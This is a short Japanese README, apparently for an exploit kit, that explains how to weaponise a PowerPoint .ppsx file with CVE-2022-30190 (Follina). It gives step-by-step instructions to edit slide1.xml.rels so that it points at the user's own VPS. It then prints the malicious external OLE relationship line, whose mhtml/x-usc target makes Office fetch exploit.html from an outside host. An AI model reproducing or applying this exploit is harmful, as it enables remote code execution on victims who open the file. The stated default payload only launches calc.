これは PowerPoint における CVE-2022-30190 のエクスプロイトです。
ファイルの拡張子を 'zip' に変更して解凍し、\ppt\slides\_rels\slide1.xml.rels を編集して、あなたの VPS の IP:Port に次のように置き換えます。その後、同じ方法で圧縮し、拡張子を 'ppsx' に変更します。'exploit.html' 内のデフォルトのペイロードは calc を実行するものです。
<Relationship TargetMode="External" Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:http://114.114.114.114:80/exploit.html!x-usc:http://114.114.114.114:80/exploit.html"/>